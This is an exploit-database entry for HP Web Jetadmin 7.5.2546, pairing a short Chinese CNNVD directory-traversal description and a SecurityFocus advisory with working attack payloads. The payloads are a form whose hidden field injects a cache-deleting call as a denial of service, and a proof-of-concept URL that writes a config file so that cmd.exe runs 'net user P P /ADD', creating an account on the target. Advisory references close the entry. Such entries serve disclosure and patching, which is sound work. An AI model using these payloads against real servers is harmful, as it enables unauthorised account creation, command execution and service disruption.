https://www.exploit-db.com/exploits/23880
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200403-105

HPWebJetAdmin具有一个整合式的修改的ApacheWeb服务器。HPWebJetadmin包含的setinfo.hts对用户提交的URI参数缺少充分过滤，远程攻击者可以利用这个脚本以WEB权限查看任意文件内容。setinfo.hts脚本对用户提交给’include’的参数缺少充分过滤，提交包含多个’../’字符的URI参数，可绕过WEBROOT限制，一个验证用户可以WEB权限读取系统文件内容。

source: http://www.securityfocus.com/bid/9973/info

Reportedly HP web Jetadmin is prone to a remote arbitrary command execution vulnerability. This issue is due to a failure of the application to properly validate and sanitize user supplied input.

Successful exploitation of this issue will allow a malicious user to execute arbitrary commands on the affected system.

This issue has been tested with an authenticated account on HP Web Jetadmin version 7.5.2546 running on a Windows platform.

/plugins/hpjfpmui/script/wja_update_product.hts:
(Changed the value of obj to our DoS function)
<FORM onsubmit="return VerifyUpload(this)" action=wja_update_product.hts
method=post encType=multipart/form-data>
<INPUT type=hidden value=[[httpd:RemoveCacheFiles($dir$)]] name=obj> <INPUT
type=hidden value=true name=__save>
<INPUT type=hidden value=0 name=packageCount> <INPUT type=hidden value=blah.fpm name=goodFilename>

The following proof of concept that will create a user account has been provided by H D Moore <[email protected]>:

https://<target>:8443/plugins/framework/script/tree.xms?obj=httpd:WriteToFile([$__installdir$]conf/portlisten.conf,Listen%208000%0A%0DAccessLog%20"|../../../../../../winnt/system32/cmd.exe%20/c%20net%20user%20P%20P%20/ADD")

来源:XF
名称:hp-jetadmin-setinfo-directory-traversal(15606)
链接:http://xforce.iss.net/xforce/xfdb/15606
来源:BID
名称:9972
链接:http://www.securityfocus.com/bid/9972
来源:HP
名称:SSRT4700
链接:http://www.securityfocus.com/advisories/6492
来源:BUGTRAQ
名称:20040324HPWebJetAdminvulnerabilities.
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=108016019623003&w;=2